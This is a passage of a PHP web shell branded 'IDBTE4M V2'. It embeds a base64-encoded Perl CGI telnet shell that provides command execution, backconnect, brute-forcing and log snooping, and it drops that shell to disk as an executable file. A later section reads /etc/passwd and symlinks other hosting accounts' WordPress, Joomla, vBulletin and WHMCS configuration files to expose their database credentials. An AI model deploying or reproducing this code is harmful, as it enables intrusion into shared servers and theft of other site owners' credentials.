PSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgkJCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQoJCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4NCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4NCgkJPHRoIHdpZHRoPScxMDAnPkZpbGUgU2l6ZTwvdGg+DQoJCTx0aCB3aWR0aD0nMTUwJz5Pd25lcjwvdGg+DQoJCTx0aCB3aWR0aD0nMTAwJz5QZXJtaXNzaW9uPC90aD4NCgkJPHRoIHdpZHRoPScxNTAnPkxhc3QgTW9kaWZpZWQ8L3RoPg0KCQk8dGggd2lkdGg9JzIzMCc+QWN0aW9uPC90aD48L3RyPiI7DQoJCW15ICRzdHlsZT0ibm90bGluZSI7DQoJCW15ICRpPTA7DQoJCWZvcmVhY2ggbXkgJGQgKEBkbmFtZSkNCgkJew0KCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsNCgkJCSRkID0gJnRyaW0oJGQpOw0KCQkJJGRpcm5hbWU9JGQ7DQoJCQlpZigkZCBlcSAiLi4iKSANCgkJCXsNCgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOw0KCQkJfQ0KCQkJZWxzaWYoJGQgZXEgIi4iKSANCgkJCXsNCgkJCQluZXh0Ow0KCQkJfQ0KCQkJZWxzZSANCgkJCXsNCgkJCQkkZCA9ICRwYXRoLiRkOw0KCQkJfQ0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgY2xhc3M9J2Rpcic+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkZCkuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+RElSPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJyk7IHJldHVybiBmYWxzZTsgXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGRpcm5hbWUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkNCgkJew0KCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsNCgkJCSRmaWxlPSRmOw0KCQkJJGYgPSAkcGF0aC4kZjsNCgkJCW15ICRhY3Rpb24gPSBlbmNvZGVfYmFzZTY0KCJlZGl0ICIuJGZpbGUpOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgY2xhc3M9J2ZpbGUnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImYz0iLiRhY3Rpb24uIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZQYXJzZUZpbGVTaXplKCZGaWxlU2l6ZSgkZikpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKTsgcmV0dXJuIGZhbHNlO1wiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGQwbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZDBtYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoMz48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9tYWluICsgVXNlcjwvZm9udD48L2gzPiI7DQoJaWYgKCRlcnIpDQoJew0KCQkkcmVzdWx0IC49ICAoJzxwPkMwdWxkblwndCBCeXBhc3MgaXQgLCBTb3JyeTwvcD4nKTsNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJzx0YWJsZSBpZD0iZG9tYWluIj48dHI+PHRoPmQwbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOw0KCX0NCglmb3JlYWNoIG15ICRvbmUgKEBjbnpzKQ0KCXsNCgkJaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7LykNCgkJewkNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZW5hbWU9IHRyaW0oIi9ldGMvdmFsaWFzZXMvIi4kMSk7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgc3R5bGU9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kMS4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kMS4nPC9hPjwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBWaWV3IExvZw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdMb2cNCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsNCglteSBAcGF0aGxvZz0oCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZTIvY29uZi9odHRwZC5jb25mJywNCgkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLA0KCQkJJy92YXIvbG9nL2h0dHBkL2FjY2Vzc19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3Mvc3VwaHBfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9saWNlbnNlX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9sb2dpbl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywNCgkJCScvdmFyL2NwYW5lbC9jcGFuZWwuY29uZmlnJywNCgkJCScvdXNyL2xvY2FsL3BocC9saWIvcGhwLmluaScsDQoJCQknL3Vzci9sb2NhbC9waHA1L2xpYi9waHAuaW5pJywNCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC1iaW4ubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbC5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsZGVycm9yLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC1zbG93LmxvZycsDQoJCQknL3Zhci9teXNxbC5sb2cnLA0KCQkJJy92YXIvbGliL215c3FsL215LmNuZicsDQoJCQknL2V0Yy9teXNxbC9teS5jbmYnLA0KCQkJJy9ldGMvbXkuY25mJywNCgkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtciAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI+DQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uU3VibWl0PSJFbmNvZGVyKCdsb2ckaScpIj4NCgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImxvZyRpIiBuYW1lPSJjIiB2YWx1ZT0idGFpbCAtMTAwMDAgJGxvZyB8IGdyZXAgJy9ob21lJyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ+DQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSBkZWNvZGVfYmFzZTY0KCRpbnsnYyd9KTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoZGVjb2RlX2Jhc2U2NCh0cmltKCRpbnsnZCd9KSkpOw0KIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hDQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOw0KY2hvbXAoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luDQp7DQoJJlBlcmZvcm1Mb2dpbjsNCn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJkIik7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsNCgkJaWYoJGNobW9kIG5lIDApDQoJCXsNCgkJCSRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsNCgkJCSRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJCQlpZihjaG1vZCgkY2htb2QsJGZpbGUpKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0NCgkJfQ0KCX0NCgkkcmVuYW1lPSRpbnsncmVuYW1lJ307DQoJaWYoJHJlbmFtZSBuZSAiIikNCgl7DQoJCWlmKHJlbmFtZSgkVHJhbnNmZXJGaWxlLCRyZW5hbWUpKQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCX1lbHNlDQoJCXsNCgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCX0NCgl9DQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9Ow0KCWlmKCRyZW1vdmUgbmUgIiIpDQoJew0KCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOw0KCQlpZigtZCAkcm0pDQoJCXsNCgkJCSZSbURpcigkcm0pOw0KCQl9ZWxzZQ0KCQl7DQoJCQlpZih1bmxpbmsoJHJtKSkNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9CQkJDQoJCX0NCgl9DQoJcHJpbnQgJkxpc3REaXI7DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kDQp7DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCXByaW50ICZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZlIGEgZmlsZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRpbnsnZmlsZSd9KSkNCgl7DQoJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgl9ZWxzZQ0KCXsNCgkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgl9DQoJcHJpbnQgJkxpc3REaXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmVXBsb2FkRmlsZTsNCn1lbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiYnJ1dGVmb3JjZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gYnJ1dGUgZm9yY2UNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZCcnV0ZUZvcmNlcjsNCn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlDQp7DQoJcHJpbnQgJkRvd25sb2FkRmlsZTsNCn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsb2cgZmlsZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdMb2c7DQoNCn1lbHNpZigkQWN0aW9uIGVxICJkb21haW5zdXNlciIpIAkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxpc3QgdXNlci9kb21haW4NCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3RG9tYWluVXNlcjsNCn1lbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ0KJlByaW50UGFnZUZvb3Rlcjs=';
1105
1106$file = fopen("idb.te4m" ,"w+");
1107$write = fwrite ($file ,base64_decode($cgi4e));
1108fclose($file);
1109chmod("idb.te4m",0755);
1110echo "</br></br><center><b>GO TO : <br><a href='~_~/idb.te4m' target='_blank'>[+] CGI TELNET [+]</a></center></br>";
1111}
1112?>
1113<?php
1114// SHELL IDBTE4M V2
1115// BY ./KEFIEX404 IDBTE4M
1116set_time_limit(0);
1117error_reporting(0);
1118
1119
1120$pageURL = 'http://'.$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
1121$u = explode("/",$pageURL );
1122$pageURL =str_replace($u[count($u)-1],"",$pageURL );
1123
1124$pageFTP = 'ftp://'.$_SERVER["SERVER_NAME"].'/public_html/'.$_SERVER["REQUEST_URI"];
1125$u = explode("/",$pageFTP );
1126$pageFTP =str_replace($u[count($u)-1],"",$pageFTP );
1127?>
1128
1129<?php
1130if (isset($_GET['idb']) && ($_GET['idb'] == 'config')) {
1131?>
1132<form action="?&idb=config" method="post">
1133<?php
1134@ini_set('max_execution_time',0);
1135@ini_set('display_errors', 0);
1136@ini_set('file_uploads',1);
1137echo '<form method="POST"><textarea cols="30" name="passwd" rows="10">';
1138$uSr=file("/etc/passwd");
1139foreach($uSr as $usrr) {
1140$str=explode(":",$usrr); echo $str[0]."\n"; }
1141?>
1142</textarea><br><input type="hidden" class="input" name="folfig" value="taek" size=40 />
1143<select class="inp" title="Select Your Type File" name="type" size=""><option title="type txt" value=".txt">.txt<option><option title="type php" value=".php">.php<option><option title="type shtml" value=".shtml">.shtml<option><option title="type ini" value=".ini">.ini<option></select>
1144<input name="conf" size="80" class="ipt" value="Hajar..." type="submit"><br><br></form></center>
1145<?php
1146@ini_set('html_errors',0);
1147@ini_set('max_execution_time',0);
1148@ini_set('display_errors', 0);
1149@ini_set('file_uploads',1);
1150if ($_POST['conf']) {
1151$folfig = $_POST['folfig']; $type = $_POST['type'];
1152@mkdir($folfig, 0755);
1153@chdir($folfig);
1154$htaccess="
1155Options Indexes FollowSymLinks
1156\nDirectoryIndex .my.cnf
1157\nAddType txt .php
1158\nAddType txt .my.cnf
1159\nAddType txt .accesshash
1160\nAddHandler txt .php
1161\nAddHandler txt .cnf
1162\nAddHandler txt .accesshash
1163";
1164file_put_contents(".htaccess",$htaccess,FILE_APPEND);
1165$passwd=explode("\n",$_POST["passwd"]); echo "<blink><center >tunggu sebentar ya ...</center></blink>";
1166foreach($passwd as $pwd){ $user=trim($pwd);
1167@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vBulletin1.txt');
1168@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-vBulletin3.txt');
1169@symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-vBulletin4.txt');
1170@symlink('/home/'.$user.'/public_html/config.php',$user.'-Phpbb1.txt');
1171@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-Phpbb2.txt');
1172@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-Wordpress1.txt');
1173@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress2.txt');
1174@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-Joomla1.txt');
1175@symlink('/home/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla2.txt');
1176@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla3.txt');
1177@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-Whm1.txt');
1178@symlink('/home/'.$user.'/public_html/whmc/configuration.php',$user.'-Whm2.txt');
1179@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-Whm3.txt');
1180@symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-Whm4.txt');
1181@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-Whm5.txt');
1182@symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-Whm6.txt');
1183@symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-Whm7.txt');
1184@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-Whm8.txt');
1185@symlink('/home/'.$user.'/public_html/order/configuration.php',$user.'-Whm9.txt');
1186@symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
1187@symlink('/home/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
1188@symlink('/home/'.$user.'/public_html/conf_global.php',$user.'-invisio.txt');
1189@symlink('/home/'.$user.'/public_html/include/db.php',$user.'-7.txt');
1190@symlink('/home/'.$user.'/public_html/connect.php',$user.'-8.txt');
1191@symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'-mk-portale1.txt');
1192@symlink('/home/'.$user.'/public_html/include/config.php',$user.'-12.txt');
1193@symlink('/home/'.$user.'/public_html/settings.php',$user.'-Smf.txt');
1194@symlink('/home/'.$user.'/public_html/includes/functions.php',$user.'-phpbb3.txt');
1195@symlink('/home/'.$user.'/public_html/include/db.php',$user.'-infinity.txt');
1196@symlink('/home2/'.$user.'/public_html/vb/includes/config.php',$user.'-vBulletin1.txt');
1197@symlink('/home2/'.$user.'/public_html/includes/config.php',$user.'-vBulletin2.txt');
1198@symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$user.'-vBulletin3.txt');
1199@symlink('/home2/'.$user.'/public_html/cc/includes/config.php',$user.'-vBulletin4.txt');
1200@symlink('/home2/'.$user.'/public_html/config.php',$user.'-Phpbb1.txt');
1201@symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$user.'-Phpbb2.txt');
1202@symlink('/home2/'.$user.'/public_html/wp-config.php',$user.'-Wordpress1.txt');
1203@symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress2.txt');
1204@symlink('/home2/'.$user.'/public_html/configuration.php',$user.'-Joomla1.txt');
1205@symlink('/home2/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla2.txt');
1206@symlink('/home2/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla3.txt');
1207@symlink('/home2/'.$user.'/public_html/whm/configuration.php',$user.'-Whm1.txt');
1208@symlink('/home2/'.$user.'/public_html/whmc/configuration.php',$user.'-Whm2.txt');
1209@symlink('/home2/'.$user.'/public_html/support/configuration.php',$user.'-Whm3.txt');
1210@symlink('/home2/'.$user.'/public_html/client/configuration.php',$user.'-Whm4.txt');
